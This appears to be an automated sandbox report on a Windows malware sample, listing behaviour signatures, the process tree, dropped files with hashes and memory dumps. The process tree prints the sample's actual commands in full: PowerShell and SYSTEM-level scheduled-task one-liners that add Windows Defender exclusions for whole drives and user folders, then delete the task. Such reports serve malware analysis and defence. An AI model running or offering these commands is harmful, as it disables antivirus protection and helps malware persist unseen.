Analysis

  • max time kernel
    146s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 15:48

General

  • Target
    install.2.0.07.exe
  • Size 30.5MB
  • Sample261024-s87mjsax61
  • SHA256 d7c5a430b7cdd0f4f068d537082bf63e8d1da374e6de607677617e240dcd89e5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.07.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.07.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:3784
  • C:\Users\Public\YerWIf\XjiSer.exe
    "C:\Users\Public\YerWIf\XjiSer.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4228
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\YerWIf\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4292
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\YerWIf\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5048
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4264
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3500
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3492
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3152
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:416
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1120
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:2000
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5112
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5884
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:6028
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:3864
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4396
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5224
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4468
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:5996
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1372
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2148
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5612
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\YerWIf" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:3636
                      • C:\Users\Public\YerWIf\XjiSer.exe
                        "C:\Users\Public\YerWIf\XjiSer.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:940
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1112
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:4316
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:5492

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 1536b2dc03501b4e6d1b9ea7b2714772fd68095cf038537ebdb7abfd26d72177
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 140ddad6346ab9e2215d6852a87a1674567d4881fab6f2e5c3507fb9cfc7f18c
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 bf703f0c352229756487f9f29098c8d87bf76365a725f09fc94cfb624f5ff62e
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 004a9de822a7174b103b5d165394e160f9e153af114d6b5a87cfa1ea6b78a2bf
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\YerWIf\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 ccde4cad39df8db36ce4f2f11d83478671c6af1f8357bf28bac69c5ac1540055
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              XjiSer.exe

                              • Path C:\Users\Public\YerWIf\XjiSer.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\YerWIf\adoresd.dat
                              • Size 4.8MB
                              • SHA256 0392d800ea232eb952f22f1756fadfe7da4d1d1717fd1dd4309bf935de831b95
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\YerWIf\msadox.tb
                              • Size 8KB
                              • SHA256 736af574d2f8015532fcceeff2aa5d8e5ae832c6865c0e5d919ab3fb1b9bff27
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/940-578-0x000001F04B940000-0x000001F04C217000-memory.dmp

                              memory/940-582-0x000001F04B940000-0x000001F04C217000-memory.dmp

                              memory/940-571-0x00007FFFBE1A0000-0x00007FFFBE6BE000-memory.dmp

                              memory/940-583-0x000001F04B940000-0x000001F04C217000-memory.dmp

                              memory/940-586-0x000001F04B940000-0x000001F04C217000-memory.dmp

                              memory/940-575-0x000001F04B940000-0x000001F04C217000-memory.dmp

                              memory/940-577-0x00007FFFDFD60000-0x00007FFFDFD62000-memory.dmp

                              memory/940-587-0x000001F04B940000-0x000001F04C217000-memory.dmp

                              memory/940-588-0x00007FFFDFD50000-0x00007FFFDFD52000-memory.dmp

                              memory/3784-0-0x00000000028C0000-0x00000000028CE000-memory.dmp

                              memory/3784-523-0x00000000028C0000-0x00000000028CE000-memory.dmp

                              memory/3784-524-0x00007FFFD73B0000-0x00007FFFD73C2000-memory.dmp

                              memory/3784-503-0x00007FFFD73B0000-0x00007FFFD73C2000-memory.dmp

                              memory/3784-1-0x00000000028D0000-0x00000000028DC000-memory.dmp

                              memory/5924-544-0x000001F117F30000-0x000001F118807000-memory.dmp

                              memory/5924-549-0x000001F117F30000-0x000001F118807000-memory.dmp

                              memory/5924-557-0x000001F1174B0000-0x000001F1174FE000-memory.dmp

                              memory/5924-563-0x000001F117F30000-0x000001F118807000-memory.dmp

                              memory/5924-565-0x000001F117F30000-0x000001F118807000-memory.dmp

                              memory/5924-559-0x000001F118C70000-0x000001F118CFA000-memory.dmp

                              memory/5924-561-0x000001F118C70000-0x000001F118CFA000-memory.dmp

                              memory/5924-560-0x000001F118C70000-0x000001F118CFA000-memory.dmp

                              memory/5924-558-0x000001F118C70000-0x000001F118CFA000-memory.dmp

                              memory/5924-555-0x000001F117F30000-0x000001F118807000-memory.dmp

                              memory/5924-537-0x00007FFFDFD60000-0x00007FFFDFD62000-memory.dmp

                              memory/5924-545-0x000001F117F30000-0x000001F118807000-memory.dmp

                              memory/5924-529-0x00007FFFDFD50000-0x00007FFFDFD52000-memory.dmp

                              memory/5924-543-0x000001F117F30000-0x000001F118807000-memory.dmp

                              memory/5924-539-0x000001F117F30000-0x000001F118807000-memory.dmp

                              memory/5924-542-0x000001F117F30000-0x000001F118807000-memory.dmp

                              memory/5924-535-0x000001F117F30000-0x000001F118807000-memory.dmp

                              memory/5924-530-0x00007FFFBE1A0000-0x00007FFFBE6BE000-memory.dmp